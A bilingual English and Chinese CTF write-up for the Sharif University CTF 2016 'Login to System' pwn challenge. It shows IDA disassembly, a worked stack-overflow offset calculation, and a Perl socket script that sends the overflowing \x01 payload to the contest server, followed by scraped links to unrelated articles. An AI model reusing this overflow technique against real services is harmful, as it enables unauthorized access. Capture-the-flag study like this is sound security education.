EN:

It's easy to find out where is the bug :

.text:0000000000400DE4 ; void *start_routine(void *)
.text:0000000000400DE4 start_routine   proc near               ; DATA XREF: sub_401182+C8o

...

.text:0000000000400F3B                 lea     rcx, [rbp+haystack]
.text:0000000000400F42                 lea     rsi, [rcx+rax]  ; buf
.text:0000000000400F46                 mov     eax, [rbp+fd]
.text:0000000000400F49                 mov     ecx, 0          ; flags
.text:0000000000400F4E                 mov     edi, eax        ; fd
.text:0000000000400F50                 call    _recv

...

.text:0000000000400F91                 lea     rax, [rbp+var_20]
.text:0000000000400F95                 movzx   eax, byte ptr [rax]
.text:0000000000400F98                 cmp     al, 1

when call the function recv(.text:0000000000400F50  ) , if the buf to large it will overwrite the stack rbp+var_20.

seeing the stack sataic:

.text:0000000000400DE4 haystack        = byte ptr -430h
.text:0000000000400DE4 s               = byte ptr -330h
.text:0000000000400DE4 var_230         = byte ptr -230h
.text:0000000000400DE4 var_28          = qword ptr -28h
.text:0000000000400DE4 var_20          = qword ptr -20h
.text:0000000000400DE4 src             = qword ptr -18h
.text:0000000000400DE4 var_10          = qword ptr -10h
.text:0000000000400DE4 fd              = dword ptr -8
.text:0000000000400DE4 var_4           = dword ptr -4

we can calculate out the length of buf:

haystack - var_20 = 0x430-0x20=0x410 = 1040

send content: (?)x 1040 . \x01. "\n"

"\x01" x 1041 . "\n";

the max length of the buf:

haystack - fd = 0x430 - 0x8 =1064

send contend can be: (?)x 1040 . \x01. (?) x22 "\n"

"\x01" x 1063 . "\n";

#!/usr/bin/perl -w
use Socket;
#ip address of ctf.sharif.edu
my $ip="ctf.sharif.edu";
my $port="27515";
my $dest=sockaddr_in($port,inet_aton($ip));
my $buf=undef;
socket(SOCK,PF_INET,SOCK_STREAM,) or die "Can't create socket: $!";
connect(SOCK,$dest) or die "Can't connect: $!";
sysread(SOCK, $buf, ); # try to read 2048
#print $buf;
send SOCK,"hi\n",;
sysread(SOCK, $buf, ); # try to read 2048
#print $buf;
#"\x01" x [1041..1063]
send SOCK,"\x01" x . "\n",;
sysread(SOCK, $buf, ); # try to read 2048
print $buf;
close SOCK;

CN:

用IDA的要Question, 很容易找到有问题的地方,

.text:0000000000400DE4 ; void *start_routine(void *)
.text:0000000000400DE4 start_routine   proc near               ; DATA XREF: sub_401182+C8o

...

.text:0000000000400F3B                 lea     rcx, [rbp+haystack]
.text:0000000000400F42                 lea     rsi, [rcx+rax]  ; buf
.text:0000000000400F46                 mov     eax, [rbp+fd]
.text:0000000000400F49                 mov     ecx, 0          ; flags
.text:0000000000400F4E                 mov     edi, eax        ; fd
.text:0000000000400F50                 call    _recv

...

.text:0000000000400F91                 lea     rax, [rbp+var_20]
.text:0000000000400F95                 movzx   eax, byte ptr [rax]
.text:0000000000400F98                 cmp     al, 1

里recv,超长的会把rbp+var_20翻盖掉,再看栈区:

.text:0000000000400DE4 haystack        = byte ptr -430h
.text:0000000000400DE4 s               = byte ptr -330h
.text:0000000000400DE4 var_230         = byte ptr -230h
.text:0000000000400DE4 var_28          = qword ptr -28h
.text:0000000000400DE4 var_20          = qword ptr -20h
.text:0000000000400DE4 src             = qword ptr -18h
.text:0000000000400DE4 var_10          = qword ptr -10h
.text:0000000000400DE4 fd              = dword ptr -8
.text:0000000000400DE4 var_4           = dword ptr -4

从栈区可以计算出 buf的长度。

haystack - var_20 = 0x430-0x20=0x410 = 1040

发送的内容应该是: (?)x 1040 . \x01. "\n"

"\x01" x 1041 . "\n";

发送的内容buf最长可以是:

haystack - fd = 0x430 - 0x8 =1064

发送的内容应该是: (?)x 1040 . \x01. (?) x22 "\n"

"\x01" x 1063 . "\n";

#!/usr/bin/perl -w
use Socket;
#ip address of ctf.sharif.edu
my $ip="ctf.sharif.edu";
my $port="27515";
my $dest=sockaddr_in($port,inet_aton($ip));
my $buf=undef;
socket(SOCK,PF_INET,SOCK_STREAM,) or die "Can't create socket: $!";
connect(SOCK,$dest) or die "Can't connect: $!";
sysread(SOCK, $buf, ); # try to read 2048
#print $buf;
send SOCK,"hi\n",;
sysread(SOCK, $buf, ); # try to read 2048
#print $buf;
#"\x01" x [1041..1063]
send SOCK,"\x01" x . "\n",;
sysread(SOCK, $buf, ); # try to read 2048
print $buf;
close SOCK;

Sharif University CTF 2016 -- Login to System (PWN 200)的更多相关文章

  1. Sharif University CTF 2016 -- Android App

    很多种的方案: 方案 A: 直接逆向读代码方案 B: 解包,加入debug信息,重新打包,动态调试方案 C: 解包,改代码加入log.i整出flag, 去掉MainActivity里面d=什么也可以, ...

  2. Sharif University CTF 2016 - Smooth As Silk

    Category: Crypto Points: 200 Solves: 11 Description: p > q n = p*q = 1146153281852525177586999436 ...

  3. CTF必备技能丨Linux Pwn入门教程——stack canary与绕过的思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  4. CTF必备技能丨Linux Pwn入门教程——PIE与bypass思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  5. CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  6. CTF必备技能丨Linux Pwn入门教程——利用漏洞获取libc

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  7. CTF必备技能丨Linux Pwn入门教程——调整栈帧的技巧

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  8. CTF必备技能丨Linux Pwn入门教程——ROP技术(下)

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  9. CTF必备技能丨Linux Pwn入门教程——ROP技术(上)

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

随机推荐

  1. git 命令记录

    git log 配置 git config --global alias.lg "log --color --graph --pretty=format:'%Cred%h%Creset -% ...

  2. 没想到cnblog也有月经贴,其实C#值不值钱不重要。

    呵呵,就不倚老卖老了,从basic走过来,一路经历vb,vf,delphi,C#,php,asp,html,js,css,太多太多的开发语言,包括面向对象编程思想,语义化页面结构等等,除了高级的编程技 ...

  3. lighttpd配置

    1.lighttpd.conf server.modules = ( "mod_access", "mod_alias", "mod_compress ...

  4. 部署Service Manager 2012遇到的2个问题

    上周装了个Service Manager 2012学习,以便完善System Center整个解决方案,在部署期间遇到2个问题,花了我不少时间解决.一.安装时提示“执行自定义操作时失败”每当到了安装的 ...

  5. Python-3 语法

    #1 Tab键: 1)控制缩进 2)IDLE智能补全 #2 =等号: 1)=:表示赋值 2)==:表示判断 #3 流程图: print('..........小甲鱼_1..........') tem ...

  6. 编译安装带ssl 模块指定版本Python

      出现这个或者fatal error: openssl/名单.h: No such file or directory.都是没有安装libssl-dev- libssl-dev包含libraries ...

  7. 一个简单的TabItem样式。

    分享一个以前项目中用到的简单的TabItem样式. 效果图如下: <SolidColorBrush x:Key="TabItemDisabledBackground" Col ...

  8. 【ios 7】 之后的设置系统的状态栏隐藏的方法分享

    由于在做视频播放的的项目,一直困扰的是,视频全屏幕播放的时候,系统的状态栏会隐藏不掉,虽然可以设置为透明的状态来显示,但是电池的状态一直隐藏不掉,查看网上的说法也就是说,要么来控制,他的hidden ...

  9. linux VI search command 搜索 加入行号

    VI COMMAND:set number :set nonumber VI COMMAND/keywork   //search

  10. JAVA 判断Socket 远程端是否断开连接

    最近在做项目的时候,遇到这样一个问题,如何判断 Socket 远程端连接是否关闭,如果关闭的话,就要重建连接Socket的类提供了一些已经封装好的方法, 如  isClosed().isConnect ...